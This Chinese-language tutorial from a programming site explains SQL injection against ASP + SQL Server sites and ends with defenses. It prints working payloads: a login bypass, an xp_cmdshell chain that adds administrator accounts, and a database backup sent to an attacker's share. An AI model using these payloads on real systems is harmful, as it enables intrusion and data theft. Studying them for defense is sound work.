首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> SQL Server 資料庫 >> 關於SqlServer

SQL 資料庫注入攻擊深度解析:原理、手法與防禦

     編輯:關於SqlServer

攻擊背景

許多 ASP + SQL Server 架構的網站存在注入漏洞,主因在於程式開發人員未正確過濾使用者輸入,直接拼接 SQL 字串。此類漏洞與作業系統或資料庫版本無關,亦無補丁可修補,純屬程式碼缺失。

經典注入演進

1. 基礎邏輯繞過

輸入 ' OR '1'='1 使 WHERE 條件永真,繞過驗證。

2. 執行預存程序

嘗試 ; EXEC sp_addlogin hax 新增登入,但常受限於:

  • 後續 SQL 片段導致語法錯誤 (如 AND topic=...)
  • 需使用註解符號 -- 截斷後續語句:; EXEC sp_addlogin hax;--

3. 完整提權鏈 (需 sysadmin 權限)

; EXEC master.dbo.sp_addlogin hax;--
; EXEC master.dbo.sp_password NULL, hax, hax;--
; EXEC master.dbo.sp_addsrvrolemember hax, sysadmin;--
; EXEC master.dbo.xp_cmdshell 'net user hax hax /add';--
; EXEC master.dbo.xp_cmdshell 'net localgroup administrators hax /add';--

前提:ASP 連線使用的 SQL 帳號為 sysadmin 角色成員。虛擬主機環境通常不會有此權限。

非 sysadmin 權限下的攻擊面

1. 猜解資料庫結構

利用 AND 1<>(SELECT COUNT(*) FROM [user]) 判斷資料表/欄位是否存在 (依錯誤訊息區分)。常見表名:user, users, admin, news;常見欄位:id, username, password, email。

2. 取得資料庫名稱

DECLARE @a SYSNAME; SET @a = DB_NAME(); BACKUP DATABASE @a TO DISK='\\攻擊者IP\share\bak.dat';-- 將資料庫備份至攻擊者共享資料夾 (需備份權限)。

3. 定位資料庫伺服器 IP

在防火牆開啟 ICMP/139/445 連接埠監控,執行 ; EXEC master.dbo.xp_cmdshell 'ping 攻擊者IP';--。若收到 ping,確認 SQL 服務帳號有 xp_cmdshell 權限且得知資料庫真實 IP (許多架構 Web/DB 分離)。

防禦對策

  1. 參數化查詢 / 預存程序:絕不拼接 SQL 字串,使用 SqlParameter 或 Command.Parameters。
  2. 最小權限原則:Web 應用連線帳號僅授予必要資料表的 SELECT/INSERT/UPDATE/DELETE,嚴禁 sysadmin、db_owner 或 xp_cmdshell 權限。
  3. 輸入驗證與過濾:伺服器端驗證所有輸入,拒絕單引號、分號、註解符號等高風險字元 (但參數化查詢才是根本)。
  4. 錯誤訊息不外洩:生產環境關閉詳細錯誤訊息,避免攻擊者根據錯誤推斷結構。
  5. 定期代碼審查與滲透測試:建立安全開發生命週期 (SDL)。

結語

SQL 注入本質是「資料當指令執行」。唯有參數化查詢徹底區隔程式碼與資料,配合最小權限部署,才能從根本杜絕此類風險。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved